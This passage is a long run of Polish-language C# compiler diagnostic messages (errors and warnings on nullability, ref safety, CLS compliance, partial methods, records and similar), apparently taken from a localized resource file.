zdarzeń. Jest on prawidłowy tylko w deklaracjach „{1}”. + Modyfikator „scoped” 'parametru „{0}” nie jest zgodny z 'elementem docelowym „{1}”. + Określony ciąg wersji „{0}” zawiera znaki wieloznaczne, które nie są zgodne z determinizmem. Usuń znaki wieloznaczne z ciągu wersji lub wyłącz determinizm dla tej kompilacji + Obsługa wartości null dla typów referencyjnych w jawnym specyfikatorze interfejsu jest niezgodna z interfejsem implementowanym przez typ. + Użycie tablic jako argumentów atrybutów jest niezgodne ze specyfikacją CLS + Nieużywany alias zewnętrzny + Nieprawidłowy numer + parametry odrzucania wyrażenia lambda + Wynik wyrażenia stackalloc tego typu w tym kontekście może być uwidoczniony poza metodą zawierającą + typ wariancji + katalog nie istnieje + Aby element „{0}” można było zastosować jako operator „short circuit”, jego typ deklarujący „{1}” musi definiować operatory true i false + możliwy do likwidacji + Oczekiwano zagnieżdżonego inicjatora tablicy + Tylko typy klasy mogą zawierać destruktory + Przyjęto, że odwołanie do zestawu jest zgodne z tożsamością + Odwołanie do zestawu „{0}” jest nieprawidłowe i nie można go rozpoznać + Typ delegowania wywnioskowanego + Zwraca parametr przez odwołanie za pomocą parametru ref; ale można je bezpiecznie zwrócić tylko w instrukcji return + Brak typu docelowego dla literału domyślnego. + Przypisanie dekonstrukcji wymaga wyrażenia o typie podanym po prawej stronie. + Nieprawidłowe wyrównanie sekcji pliku „{0}” + Anonimowe metody, wyrażenia lambda, wyrażenia zapytania i funkcje lokalne wewnątrz struktur nie mogą uzyskiwać dostępu do składowych wystąpień elementu „this”. Rozważ możliwość skopiowania elementu „this” do zmiennej lokalnej poza metodą anonimową, wyrażeniem lambda, wyrażeniem zapytania lub funkcją lokalną i użycie zamiast niego zmiennej lokalnej. + Nie można przypisać składowej{0} „{1}” lub użyć jej jako prawej strony przypisania odwołania, ponieważ jest to zmienna tylko do odczytu + Obsługa wartości null dla typów referencyjnych w typie „{0}” jest niezgodna z niejawnie implementowaną składową „{1}”. + Warunkowa składowa „{0}” nie może implementować składowej interfejsu „{1}” w typie „{2}” + Obsługa wartości null dla typów referencyjnych w typie zwracanym „{0}” jest niezgodna z niejawnie implementowaną składową „{1}”. + Klasa statyczna „{0}” nie może pochodzić od typu „{1}”. Klasy statyczne muszą pochodzić od obiektu. + Pól statycznego pola tylko do odczytu „{0}” nie można zwrócić przez zapisywalne odwołanie + Typ „{0}” jest zdefiniowany w tym zestawie, ale zdefiniowano dla niego funkcję przesyłania typu dalej + Wzorzec jest nieosiągalny. Został on już obsłużony przez poprzednie odgałęzienie wyrażenia switch albo nie można go dopasować. + Wyrażenie jest zbyt długie lub zbyt złożone do skompilowania + Oczekiwano jednowierszowego komentarza lub znacznika końca wiersza po dyrektywie #pragma + '{0}': dla właściwości zdarzenia muszą istnieć metody dostępu Add i Remove + Spowoduje to zwrócenie parametru przez odwołanie „{0}”, ale jest on ograniczony do bieżącej metody + Oczekiwano symbolu { lub ; lub => + Celem przywołanego zestawu jest inny procesor + Nie można znaleźć zarządzanej klasy otoki coclass „{0}” interfejsu „{1}” (brak odwołania do zestawu?) + 'Element „{0}” nie implementuje wzorca „{1}”. Elementy „{2}” i „{3}” są wzajemnie niejednoznaczne. + Nieprawidłowa opcja „{0}” dla /langversion. Użyj opcji „/langversion:?”, aby wyświetlić listę obsługiwanych wartości. + Nazwa kwalifikowana za pomocą aliasu nie jest wyrażeniem. + Oczekiwano identyfikatora. + Typ „{0}” nie został zdefiniowany. + Wartości „goto case” nie można jawnie przekonwertować na typ „{0}” + Przypisanie w wyrażeniu warunkowym jest zawsze stałe + Warunkowa składowa „{0}” nie może mieć parametru wyjściowego + Nie można zdefiniować oczekiwania w kontekście słowa kluczowego „unsafe”. + Osadzona instrukcja nie może być instrukcją deklaracji ani instrukcją etykiety. + Element „{0}” musi zezwalać na przesłanianie, ponieważ zawierający go rekord nie jest zapieczętowany. + Typ wartości dopuszczający wartość null może być równy null. + statyczne funkcje lokalne + Konstruktor jest oznaczony jako zewnętrzny + Operacja może się przepełnić w środowisku uruchomieniowym (użyj składni „niezaznaczone”, aby zastąpić) + inicjator kolekcji + Wstępnie zdefiniowany typ „{0}” nie został zdefiniowany ani zaimportowany. + automatycznie zaimplementowane właściwości + ponowne przypisanie odwołania + Wyrażenie typu „{0}” nie może być obsługiwane przez wzorzec typu „{1}”. Użyj wersji języka „{2}” lub nowszej, aby dopasować typ otwarty za pomocą wzorca stałej. + Dynamicznie przydzielane wywołanie metody „{0}” może nie powieść się w czasie wykonywania, ponieważ co najmniej jedno z przeciążeń, które można zastosować, to metoda warunkowa. + Typ lub składowa jest przestarzała + Konstruktor „{0}” jest oznaczony jako zewnętrzny + „{0}”: klasy statyczne nie mogą implementować interfejsów + Osadzona struktura międzyoperacyjna „{0}” może zawierać tylko publiczne pola wystąpień. + Nie może pochodzić od „{0}”, ponieważ jest to parametr typu + Typ zmiennej lokalnej zadeklarowanej w instrukcji fixed musi być typem wskaźnika + alias zewnętrzny + Nieprawidłowy zwracany typ w atrybucie cref komentarza XML + Typ „{0}” nie może być używany w tym kontekście, ponieważ nie może być reprezentowany w metadanych. + Dopuszczanie wartości null dla typów referencyjnych w typie zwracanym nie jest zgodne z zaimplementowaną składową (prawdopodobnie z powodu atrybutów dopuszczania wartości null). + Atrybut CLSCompliant nie ma znaczenia w przypadku zastosowania go do parametrów + Obsługa wartości null w ograniczeniach dla parametru typu jest niezgodna z ograniczeniami parametru typu w niejawnie implementowanej metodzie interfejsu. + Pierwszy operand operatora „as” nie może być literałem krotki bez typu naturalnego. + Nieprawidłowy rodzaj instrumentacji: {0} + zaznaczone operatory zdefiniowane przez użytkownika + Nie można zadeklarować przestrzeni nazw w kodzie skryptu + Typ zmiennej publicznej, chronionej zmiennej lub chronionej zmiennej wewnętrznej musi być zgodny ze specyfikacją CLS (Common Language Specification). + Modyfikatory dostępu częściowych deklaracji elementu „{0}” powodują konflikt + Nie można użyć typu „{3}” jako parametru typu „{2}” w typie ogólnym lub metodzie „{0}”. Typ zerowalny „{3}” nie spełnia ograniczenia elementu „{1}”. + Nie można przechwycić operatora nameof. + Możliwe niezamierzone porównanie odwołań; prawa strona wymaga rzutowania + Nie można zapisać do pliku wyjściowego „{0}” — „{1}” + Oczekiwano słowa kluczowego „this” lub „base” + Atrybut EnumeratorCancellationAttribute nie będzie miał żadnego efektu. Atrybut jest uwzględniany tylko dla parametru typu CancellationToken w asynchronicznej metodzie iteratora zwracającej interfejs IAsyncEnumerable. + Dopuszczanie wartości null dla typów referencyjnych w typie zwracanym „{0}” nie jest zgodne z niejawnie zaimplementowaną składową „{1}” (prawdopodobnie z powodu atrybutów dopuszczania wartości null). + Wynik wyrażenia jest zawsze taki sam, ponieważ wartość tego typu nigdy nie jest równa wartości „null” + dostęp do elementu wskaźnika + Element „{0}” nie przesłania oczekiwanej właściwości z elementu „{1}”. + Nie można użyć instrukcji „yield” w kodzie skryptu najwyższego poziomu + Metoda asynchroniczna nie zawiera operatorów „await” i zostanie uruchomiona synchronicznie + Wstępnie zdefiniowany typ występuje w wielu zestawach w aliasie globalnym + Nazwa „_” odwołuje się do typu „{0}”, a nie do wzorca odrzucania. Użyj elementu „@_” aby odwołać się do typu, lub użyj elementu „var _”, aby odrzucić wartość. + Wyliczenia, klasy i struktury nie mogą być deklarowane w interfejsie mającym parametr typu „in” lub „out”. + „{0}”: argument atrybutu nie może używać parametrów typu + Oczekiwano operatora z możliwością przeciążenia + Polom statycznego pola tylko do odczytu „{0}” nie można przypisać wartości (z wyjątkiem pól w konstruktorze statycznym lub inicjatorze zmiennych). + Wyrażenie filtru jest stałą wartością „true” + Nie określono plików źródłowych. + 'Element „{0}” ma nieprawidłową sygnaturę i nie może być punktem wejścia + Klauzule catch nie mogą następować po ogólnej klauzuli catch instrukcji try. + Metoda częściowa „{0}” musi mieć modyfikatory dostępności, ponieważ ma modyfikator „virtual”, „override”, „sealed”, „new” lub „extern”. + W inicjatorach składowych indeksatora nie można używać konwersji procedury obsługi ciągów interpolowanych odwołujących się do indeksowanego wystąpienia. + Brak argumentu + Nie można skonwertować wyrażenia lambda na drzewo wyrażenia, którego argument typu „{0}” nie jest typem delegowanym + To odwołanie przypisuje wartość, która może tylko pomijać bieżącą metodę za pośrednictwem instrukcji return. + zwracanego + Rozpatrywana operacja jest niezdefiniowana we wskaźnikach void + Delegat „{0}” nie ma metody wywołania lub ma metodę wywołania z typem zwracanym lub typami parametrów, które nie są obsługiwane. + Nie można utworzyć konstruowanego typu ogólnego z innego konstruowanego typu ogólnego. + Pole „{0}” jest odczytywane przed jawnym przypisaniem, co powoduje wcześniejsze niejawne przypisanie wartości „default”. + operator nameof + Nie można przyjąć adresu, pobrać rozmiaru lub zadeklarować wskaźnika typu zarządzanego („{0}”) + Funkcja „{0}” nie jest częścią specyfikacji standardu ISO języka C# i może nie być akceptowana przez inne kompilatory + Atrybut „{0}” podany w pliku źródłowym jest w konflikcie z opcją „{1}”. + Nie można określić atrybutu CLSCompliant w module, który różni się od atrybutu CLSCompliant w zestawie + operator swobodnej zmiany + Parametr {0} nie powinien być deklarowany za pomocą słowa kluczowego „{1}” + Element „{0}” ma atrybut „UnmanagedCallersOnly” i nie można go przekonwertować na typ delegowany. Uzyskaj wskaźnik funkcji do tej metody. + Nie można zdefiniować oczekiwania w treści klauzuli „finally”. + Metoda interceptora musi być zwykłą metodą składową. + Wartość parametru ze specyfikatorem out „{0}” musi być przypisana zanim sterowanie wyjdzie z bieżącej metody + Rekordy mogą dziedziczyć tylko po obiekcie lub innym rekordzie + Oczekiwano typu object, string lub class + Drzewo wyrażeń nie może zawierać wyrażenia with. + Połączone metadane modułu netmodule muszą określać pełny obraz PE: „{0}”. + Użycie nieprzypisanego parametru ze specyfikatorem out „{0}” + Nie zaleca się definiowania aliasu o nazwie „global” + "{0}": argument typu atrybut nie może używać parametrów typu + Literały ciągu UTF-8 + /platform:anycpu32bitpreferred można używać tylko z /t:exe, /t:winexe i /t:appcontainerexe + W metodzie „{0}” brakuje adnotacji „[DoesNotReturn]”, aby można było dopasować zaimplementowaną lub przesłoniętą składową. + Pole referencyjne można zadeklarować tylko w strukturze referencyjnej. + „{0}”: klasa o atrybucie ComImport nie może określać klasy bazowej + Ponieważ element „{1}” ma atrybut ComImport, element „{0}” musi być zewnętrzny lub abstrakcyjny + Interpolacja musi kończyć się taką samą liczbą zamykających nawiasów klamrowych jak liczba znaków „$” które rozpoczynają literał nieprzetworzonego ciągu. + zmienna ustalona + Nazwa {0} powoduje konflikt nazw + Poprzednia klauzula catch przechwytuje już wszystkie wyjątki tego typu lub jego nadtypu („{0}”) + Użycie prawdopodobnie nieprzypisanego pola „{0}” + Treści bloku i treści wyrażenia nie mogą być jednocześnie udostępnione. + W języku C# nie można użyć elementu System.Void. Aby uzyskać obiekt typu void, użyj elementu typeof(void). + Podany tryb dokumentacji jest nieobsługiwany lub nieprawidłowy: „{0}”. + Dla argumentu operacji typu „{0}” operator „{1}” jest niejednoznaczny. + Obsługa wartości null dla typów referencyjnych w typie zwracanym jest niezgodna z przesłoniętą składową. + Nazwa elementu krotki została zignorowana, ponieważ element docelowy przypisania określa inną nazwę lub nie określa żadnej nazwy. + Przywoływany zestaw nie ma silnej nazwy + Metoda częściowa nie może jawnie implementować metody interfejsu. + Modyfikator „scoped” parametru nie jest zgodny z elementem docelowym. + wyrażenie lambda + Nie można użyć elementu „{0}” dla metody Main, ponieważ jest on zaimportowany + Parametr operatora jednoargumentowego musi być typem zawierającym + Pole „{0}” musi być w pełni przypisane, zanim kontrolka zostanie zwrócona do obiektu wywołującego. Rozważ zaktualizowanie pola do wersji językowej „{1}”, aby automatycznie ustawić domyślne pole. + Najlepsza przeciążona metoda Add „{0}” dla elementu inicjatora kolekcji jest przestarzała. {1} + Długość stałej typu String w wyniku łączenia przekracza wartość System.Int32.MaxValue. Spróbuj podzielić ciąg na wiele stałych. + Aby włączyć sprawdzanie zgodności ze specyfikacją CLS, należy określić atrybut CLSCompliant dla zestawu, a nie dla modułu + Przywoływany zestaw „{0}” nie ma silnej nazwy. + przestrzeń nazw + Wystąpiło niejednoznaczne wywołanie między następującymi dwiema metodami lub właściwościami: „{0}” i „{1}” + Wyrażenie switch nie obsługuje niektórych danych wejściowych o wartości null (nie jest wyczerpujące). Na przykład nie jest uwzględniony wzorzec „{0}”. + Wartość stałej zmiennoprzecinkowej jest spoza zakresu typu „{0}” + Ogranicznik literału ciągu nieprzetworzonego musi znajdować się w osobnym wierszu. + Nie można odczytać informacji debugowania metody „{0}” (token 0x{1:X8}) z zestawu „{2}” + Element „UnmanagedCallersOnly” można stosować tylko do zwykłych statycznych metod nieabstrakcyjnych lub statycznych funkcji lokalnych. + Nie można utworzyć wskaźnika funkcji dla elementu „{0}”, ponieważ nie jest to metoda statyczna + Nieprawidłowa opcja „{0}” dla parametru /nullable; należy użyć opcji „disable”, „enable”, „warnings” lub „annotations” + Nie można wyemitować informacji debugowania dla tekstu źródłowego bez kodowania. + Modyfikator „scoped” parametru „{0}” nie jest zgodny z przesłoniętą lub zaimplementowaną składową. + Nieprawidłowa opcja „{0}”; widoczność zasobu musi mieć wartość „public” lub „private” + Dla parametru "ref readonly" '{0}' określono wartość domyślną, ale element "ref readonly" powinien być używany tylko dla odwołań. Rozważ zadeklarowanie parametru jako "in". + Użycie wyniku w tym kontekście może uwidaczniać zmienne przywoływane przez parametr poza zakresem deklaracji + Nie można użyć operatora w tym miejscu z powodu pierwszeństwa. + Składowa rekordu „{0}” musi być publiczna. + Nie używaj elementu „{0}”. Jest on zarezerwowany do użycia przez kompilator. + Nie można przywrócić ostrzeżenia, ponieważ zostało globalnie wyłączone + Parametr jest przechwytywany w stanie otaczającego typu, a jego wartość jest również używana do inicjowania pola, właściwości lub zdarzenia. + Element „__arglist” jest niedozwolony w liście parametrów iteratorów. + Element „{0}” nie implementuje składowej interfejsu „{1}”. Obsługa wartości null dla typów referencyjnych w interfejsie implementowanym przez typ podstawowy jest niezgodna. + Nie można przekonwertować elementu async {0} na typ delegowany „{1}”. Element async {0} może zwrócić wartość void, Task lub Task<T>, a żadne z tych typów nie mogą być przekonwertowane na „{1}”. + Nie można używać zmiennej „{0}” w tym kontekście, ponieważ może uwidaczniać odwoływane zmienne poza ich zakresem deklaracji + Zduplikowany atrybut „{0}” + Nie można osadzić typu „{0}”, ponieważ ma nieabstrakcyjną składową. Rozważ ustawienie wartości false dla właściwości „Osadź typy międzyoperacyjne”. + Nie można wywnioskować typu delegowania. + Nie można użyć typu pliku lokalnego „{0}”, ponieważ zawierającej ścieżki pliku nie można przekonwertować na równoważną reprezentację bajtów UTF-8. {1} + Oczekiwano tagu końcowego dla elementu „{0}”. + wiodący separator cyfr + Argumenty typu nie są dozwolone w operatorze nameof. + Typ lub przestrzeń nazw „{0}” nie występuje w przestrzeni nazw „{1}” (czy nie brakuje odwołania do zestawu?) + „{0}”: nie można udostępnić argumentów podczas tworzenia wystąpienia typu zmiennej + Błąd odczytu zasobów Win32 — {0} + Nie można odnaleźć nazwy typu „{0}” w globalnej przestrzeni nazw. Ten typ został przesłany dalej do zestawu „{1}”. Rozważ możliwość dodania odwołania do tego zestawu. + Nie można zwrócić wyrażenia typu „void”. + Parametr ref lub out nie może mieć wartości domyślnej + Nie można znaleźć nazwy typu „{0}”. Ten typ został przekazany do zestawu „{1}”. Rozważ dodanie odwołania do tego zestawu. + Iteratory nie mogą mieć zmiennych lokalnych dostępnych przez odwołanie + Obie deklaracje metody częściowej muszą mieć identyczne kombinacje modyfikatorów „virtual”, „override”, „sealed” i „new”. + Nie można określić wartości domyślnej dla parametru „this” + Podane wyrażenie nigdy nie jest określonego typu („{0}”) + Komentarz XML ma tag typeparam, ale nie ma parametru typu o takiej nazwie + Obie deklaracje metody częściowej muszą być niezabezpieczone albo żadna z nich nie może być niezabezpieczona. + przypisanie łączące + Typ podstawowy został oznaczony jako element, który nie musi być zgodny ze specyfikacją CLS (Common Language Specification), w zestawie oznaczonym jako zgodny ze specyfikacją CLS. Usuń atrybut określający, że zestaw jest zgodny ze specyfikacją CLS, lub usuń atrybut określający, że typ nie jest zgodny ze specyfikacją CLS. + Dane wyrażenie jest zawsze zgodne z podaną stałą. + Metoda z atrybutem vararg nie może być ogólna, znajdować się w typie ogólnym ani mieć parametru params + Operator „await” wymaga, aby typ {0} miał przypisaną odpowiednią metodę „GetAwaiter”. Czy brakuje dyrektywy using dla elementu „System”? + Oczekiwano znaku ; lub = (w deklaracji nie można określić argumentów konstruktora). + Nie można używać składowej wyniku elementu w tym kontekście, ponieważ może uwidaczniać zmienne przywoływane przez parametr poza ich zakresem deklaracji + W wywołaniu niejawnego indeksatora zakresu nie może być nazwy argumentu. + przy użyciu struktur + Argumentu nie można użyć dla parametru z powodu różnic w dopuszczalności wartości null przez typy referencyjne. + Typ zwracany operatora True lub False musi być typem logicznym + Ten konstruktor musi dodać element „SetsRequiredMembers”, ponieważ tworzy łańcuch z konstruktorem mającym ten atrybut. + Ograniczenie nie może być specjalną klasą „{0}” + „{0}”: docelowe środowisko uruchomieniowe nie obsługuje kowariantnych typów zwracanych w przesłonięciach. Typem zwracanym musi być „{2}”, aby zachować zgodność z przesłoniętą składową „{1}”. + Modyfikator „scoped” parametru „{0}” nie jest zgodny z przesłoniętą lub zaimplementowaną składową. + Typ „{0}” przesłany do zestawu „{1}” powoduje konflikt z typem „{2}” przesłanym do zestawu „{3}”. + Argument powinien być zmienną, ponieważ jest przekazywany do parametru "ref readonly" + Wartości domyślne w tym kontekście są nieprawidłowe. + Pole referencyjne nie może odwoływać się do struktury referencyjnej. + Typ pliku lokalnego „{0}” nie może być używany jako typ podstawowy typu innego niż plik lokalny „{1}”. + Delegat „{0}” nie ma parametru o nazwie „{1}” + Konwencji wywoływania „managed” nie można łączyć z niezarządzanymi specyfikatorami konwencji wywoływania. + Porównanie wskaźników funkcji może zwrócić nieoczekiwany wynik, ponieważ wskaźniki do tej samej funkcji mogą być różne. + 'Element „{0}” nie jest zgodny ze specyfikacją CLS, ponieważ interfejs podstawowy „{1}” nie jest zgodny ze specyfikacją CLS + Interfejs źródłowy „{0}” nie zawiera metody „{1}” wymaganej do osadzenia zdarzenia „{2}”. + Parametr „{0}” konstruktora atrybutu jest opcjonalny, ale nie została podana wartość domyślna parametru. + Drzewo wyrażenia lambda nie może zawierać operatora propagowania wartości null. + Nie znaleziono aliasu „{0}” + Zduplikowana inicjacja składowej „{0}” + Właściwość kontraktu równości rekordu „{0}” musi mieć metodę dostępu get. + Nieprawidłowa opcja „{0}” dla opcji /debug; wymagana wartość to „portable”, „embedded”, „full” lub „pdbonly” + Wewnątrz inicjatora instrukcji fixed można pobrać jedynie adres nieustalonego wyrażenia + Aby użyć elementu „@$” zamiast elementu „$@” w interpolowanym ciągu dosłownym, użyj wersji języka „{0}” lub nowszej. + „{0}”: klasa o atrybucie ComImport nie może określać inicjatorów pola. + Metoda częściowa „{0}” musi mieć modyfikatory dostępności, ponieważ ma parametry „out”. + „{0}”: nie można zadeklarować indeksatorów w klasie statycznej + Zastosowanie atrybutu CallerArgumentExpressionAttribute nie odniesie żadnego skutku, ponieważ dotyczy on składowej, która jest używana w kontekstach niezezwalających na argumenty opcjonalne + 'Interfejs „{0}” już wyszczególniono na liście interfejsów + stały wzorzec pustego wskaźnika + „{0}”: właściwość lub indeksator musi mieć co najmniej jedna metodę dostępu + Zmienne o typie określonym niejawnie nie mogą być stałymi + Zmienna została zadeklarowana przy użyciu tej samej nazwy co zmienna w typie bazowym. Jednak nie użyto słowa kluczowego new. To ostrzeżenie informuje o konieczności użycia słowa kluczowego new. Zmienna została zadeklarowana tak, jakby użyto słowa kluczowego new w deklaracji. + Niespójność dostępności: typ zwracany „{1}” jest mniej dostępny niż metoda „{0}” + Wystąpienia pól struktur tylko do odczytu muszą być tylko do odczytu. + Nie można przypisać odwołania elementu „{1}” do elementu „{0}”, ponieważ element „{1}” ma węższy zakres wyjścia niż element „{0}”. + Nie można zastosować operatora „{0}” do argumentów operacji typu „{1}” i „{2}”, które nie są reprezentacjami bajtów UTF-8 + Użyj metody Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal do utworzenia tokenów literałów znakowych. + Drzewo wyrażenia nie może zawierać dostępu do indeksatora z wzorcem System.Index lub System.Range + Użycie tablic jako argumentów atrybutów jest niezgodne ze specyfikacją CLS + Użycie nieprzypisanego parametru ze specyfikatorem out + Pominięcie argumentu typu jest niedozwolone w bieżącym kontekście + Wartość wyrównania {0} jest większa niż {1} i może powodować powstanie ciągu w dużym formacie. + Statyczna funkcja lokalna nie może zawierać odwołania do elementu „this” lub „base”. + Parametr jest nieodczytany. + Drzewo wyrażenia nie może zawierać konwersji ciągu UTF-8 ani literału. + deklaracja zmiennej wyjściowej + Parametr ref tylko do odczytu nie może mieć atrybutu Out. + Porównanie ze stałą całkowitoliczbową jest bezcelowe. Stała jest poza zakresem typu „{0}”. + „eksperymentalna” + Typ „{0}” z zestawu „{1}” nie może być używany między granicami zestawów, ponieważ ma argument typu ogólnego, który jest osadzonym typem międzyoperacyjnym. + Wartość stałej może spowodować przepełnienie w czasie wykonywania (użyj składni „unchecked”, aby przesłonić) + opcjonalne parametry wyrażenia lambda + Konstruktory struktury bez parametrów + Parametr operatora jednoargumentowego musi być typem zawierającym lub jest on parametrem typu ograniczonym do niego. + Funkcja lokalna „{0}” jest zadeklarowana, lecz nie jest nigdy używana + Operatora „as” należy używać z typem referencyjnym lub typem nullowalnym („{0}” jest typem nienullowalnym) + Abstrakcyjny element {0} „{1}” nie może być oznaczona jako wirtualny + „{0}”: klasy statyczne nie mogą zawierać operatorów zdefiniowanych przez użytkownika + Etykieta „{0}” zasłania inną etykietę o takiej samej nazwie w zawartym zakresie + Składowa „{1}” przesłania element „{0}”. W czasie wykonywania jest możliwych wiele różnych przesłonięć. Od implementacji zależy, która metoda zostanie wywołana. Użyj nowszego środowiska uruchomieniowego. + Metody anonimowe, wyrażenia lambda, wyrażenia zapytań i funkcje lokalne wewnątrz członka instancji struktury nie mają dostępu do głównego parametru konstruktora. + Oczekiwano metody dostępu get lub set. + Nie używaj atrybutu „System.ParamArrayAttribute”. Zamiast niego użyj słowa kluczowego „params”. + W typie zapieczętowanym zadeklarowano nową chronioną składową + Typ przesłany „{0}” powoduje konflikt z typem zadeklarowanym w podstawowym module tego zestawu. + Te dwa zestawy różnią się numerem wydania i/lub wersji. Aby można było wykonać ujednolicenie, musisz określić dyrektywy w pliku config aplikacji i podać poprawną silną nazwę zestawu. + Konstruktor „{0}” nie może wywołać się za pośrednictwem innego konstruktora + Przywoływany plik „{0}” nie jest zestawem + Przeciążony operator binarny „{0}” przyjmuje dwa parametry + lub wzorzec + Funkcja lokalna „{0}” musi być oznaczona jako „static”, aby można było używać atrybutu warunkowego + Atrybut Conditional jest nieprawidłowy w elemencie „{0}”, ponieważ jest to metoda przesłonięcia + Adresu elementu lokalnego „{0}” lub jego składowych nie można pobrać i użyć wewnątrz metody anonimowej lub wyrażenia lambda. + Oczekiwano elementu SearchCriteria. + Interfejsy nie mogą zawierać konstruktorów wystąpienia + Ponieważ element „{0}” zwraca wartość typu void, po słowie kluczowym nie może występować wyrażenie obiektu + Operator zdefiniowany przez użytkownika nie może dokonać konwersji typu na siebie + Nie można kontynuować, ponieważ edycja zawiera odwołanie do typu osadzonego: „{0}” + Ponieważ to wywołanie nie jest oczekiwane, wykonywanie bieżącej metody będzie kontynuowane bez oczekiwania na ukończenie wywołania. Rozważ możliwość zastosowania operatora „await” do wyniku wywołania. + Wywołaj metodę Call System.IDisposable.Dispose() dla alokowanego wystąpienia elementu {0}, zanim wszystkie odwołania do niego znajdą się poza zakresem. + Alokowane wystąpienie elementu {0} nie jest usuwane we wszystkich ścieżkach wyjątku. Wywołaj metodę System.IDisposable.Dispose(), zanim wszystkie odwołania do niego znajdą się poza zakresem. + Drzewo składni do przeanalizowania nie może należeć do drzewa składni bieżącej kompilacji. + Atrybut zabezpieczeń „{0}” ma nieprawidłową wartość SecurityAction „{1}” + Podstawowy parametr konstruktora typu tylko do odczytu nie może być przypisany (z wyjątkiem setera inicjującego typu lub inicjalizatora zmiennej) + Statyczna funkcja lokalna nie może zawierać odwołania do elementu „{0}”. + Aby rzutować wartość ujemną, musisz ją ująć w nawias. + Lokalna nazwa „{0}” jest za długa dla pliku PDB. Rozważ skrócenie jej lub skompilowanie bez opcji /debug. + Oczekiwano definicji składowej, instrukcji albo znacznika końca pliku + Modyfikator rodzaju odwołania '{0}' parametru nie jest zgodny z odpowiadającym mu parametrem '{1}' w przesłoniętym lub zaimplementowanym elemencie członkowskim. + Nie można zadeklarować zmiennej dekonstrukcji jako lokalnej wartości ref + To wywołanie nie jest oczekiwane, dlatego wykonywanie bieżącej metody będzie kontynuowane do czasu ukończenia wywołania + Klauzula „using” musi występować przed wszystkimi innymi elementami zdefiniowanymi w przestrzeni nazw poza deklaracjami aliasów zewnętrznych. + Argument {0} powinien być zmienną, ponieważ jest przekazywany do parametru "ref readonly" + Operatora „await” można używać tylko w metodzie asynchronicznej. Rozważ oznaczenie tej metody za pomocą modyfikatora „async” i zmianę jej typu zwracanego na „Task<{0}>”. + Składowa statyczna „{0}” nie może być oznaczona jako „readonly”. + Ustalony bufor może mieć tylko jeden wymiar. + Nie można zastosować atrybutu UnscopedRefAttribute do parametrów, które mają modyfikator „scoped”. + Konwersja unboxing wartości, która może być wartością null. + Wynik wyrażenia to zawsze „{0}”, ponieważ wartość typu „{1}” nigdy nie jest równa wartości „null” typu „{2}” + zmienna + Obsługa wartości null dla typów referencyjnych w wartości typu „{0}” jest niezgodna z typem docelowym „{1}”. + Nie można użyć aliasu „{0}” ze znakami „::”, ponieważ alias odwołuje się do typu. Użyj znaku „.”. + Napotkano znacznik konfliktu scalania + Odwołanie do przyjaznego zestawu „{0}” jest nieprawidłowe. Deklaracje InternalsVisibleTo nie mogą mieć określonej wersji, kultury, tokena klucza publicznego ani architektury procesora. + Nie można zwrócić parametru przez odwołanie „{0}” za pomocą parametru ref; można go zwrócić tylko w instrukcji return + Program korzystający z instrukcji najwyższego poziomu musi być plikiem wykonywalnym. + Zwraca składową elementu lokalnego przez odwołanie, ale nie jest odwołaniem lokalnym + Pusty literał znakowy + Ograniczeń „class”, „struct”, „unmanaged”, „notnull” i „default” nie można łączyć ani duplikować i należy je najpierw określić na liście ograniczeń. + 'Nie można dodać elementu „{0}” do tego zestawu, ponieważ jest to już zestaw + Nie znaleziono najlepszego typu dla wyrażenia switch. + Publiczne podpisywanie nie jest obsługiwane w przypadku modułów sieciowych. + Element „{0}” znajduje się już na liście interfejsów typu „{2}” jako „{1}”. + Lewa strona przypisania referencyjnego musi być zmienną referencyjną. + Pole ani właściwość nie może mieć typu „{0}” + Nazwy elementów krotek nie są dozwolone po lewej stronie dekonstrukcji. + Drzewo wyrażenia lambda nie może zawierać grupy metod + Oczekiwano opcji „enable”, „disable” lub „restore” + Użycie typu odwołania dopuszczającego wartość null „{0}?” w wyrażeniu „as” jest niedozwolone. Zamiast tego użyj bazowego typu „{0}”. + Nie można powiązać obiektu delegowanego z elementem „{0}”, ponieważ jest to składowa typu „System.Nullable<T>”. + metoda + Częściowe deklaracje elementu „{0}” muszą mieć takie same nazwy parametrów typu w takiej samej kolejności + Element __arglist nie może mieć argumentu przekazywanego przez parametr „in” ani „out” + Znaków „{0}” nie można użyć w tej lokalizacji. + Operatora „await” można używać tylko w elemencie asynchronicznym {0}. Rozważ oznaczenie elementu {0} za pomocą modyfikatora „async”. + Pierwszy parametr metody rozszerzenia „ref” „{0}” musi być typem wartości lub typem ogólnym ograniczonym do struktury. + Niezgodność odwołań między metodą „{0}” a wskaźnikiem funkcji „{1}” + Nie można użyć elementu „{0}” jako modyfikatora konwencji wywoływania. + Tworzenie łańcuchów spekulacyjnego modelu semantycznego nie jest obsługiwane. Należy utworzyć model spekulacyjny z nadrzędnego modelu niespekulacyjnego. + W programie zdefiniowano więcej niż jeden punkt wejścia. Skompiluj z opcją /main, aby określić typ zawierający punkt wejścia. + rozszerzone metody częściowe + Funkcja „{0}” nie jest dostępna w języku C# 8.0. Użyj języka w wersji {1} lub nowszej. + Funkcja „{0}” nie jest dostępna w języku C# 7.2. Użyj języka w wersji {1} lub nowszej. + Funkcja „{0}” nie jest dostępna w języku C# 7.3. Użyj języka w wersji {1} lub nowszej. + Funkcja „{0}” nie jest dostępna w języku C# 7.1. Użyj języka w wersji {1} lub nowszej. + Nie można używać zmiennej w tym kontekście, ponieważ może uwidaczniać odwoływane zmienne poza ich zakresem deklaracji + Oczekiwany ciąg interpolowany + Nie można dołączyć fragmentu XML „{1}” pliku „{0}” — {2} + Operator konwersji tablicy wbudowanej nie będzie używany do konwersji z wyrażenia typu deklarującego. + Typ „{0}” wyeksportowany z modułu „{1}” powoduje konflikt z typem „{2}” wyeksportowanym z modułu „{3}”. + Stała ciągu „null” nie jest obsługiwana jako wzorzec dla „{0}”. Zamiast tego użyj pustego ciągu. + Punkt wejścia nie może być elementem ogólnym ani być typu ogólnego + Element „{0}” nie ma odpowiedniej statycznej metody „Main” + Kontrolka jest zwracana do obiektu wywołującego przed jawnym przypisaniem pola „{0}”, co powoduje wcześniejsze niejawne przypisanie wartości „default”. + Wzorzec dekonstrukcji z jednym elementem wymaga innej składni w celu ujednoznacznienia. Zaleca się dodanie desygnatora odrzucania „_” po nawiasie zamykającym „)”. + W pełni kwalifikowana nazwa elementu „{0}” jest za długa dla informacji debugowania. Skompiluj bez opcji „/debug”. + Pola struktury muszą być w pełni przypisane w konstruktorze, zanim kontrolka zostanie zwrócona do obiektu wywołującego. Rozważ zaktualizowanie wersji języka w celu automatycznego ustawienia domyślnego 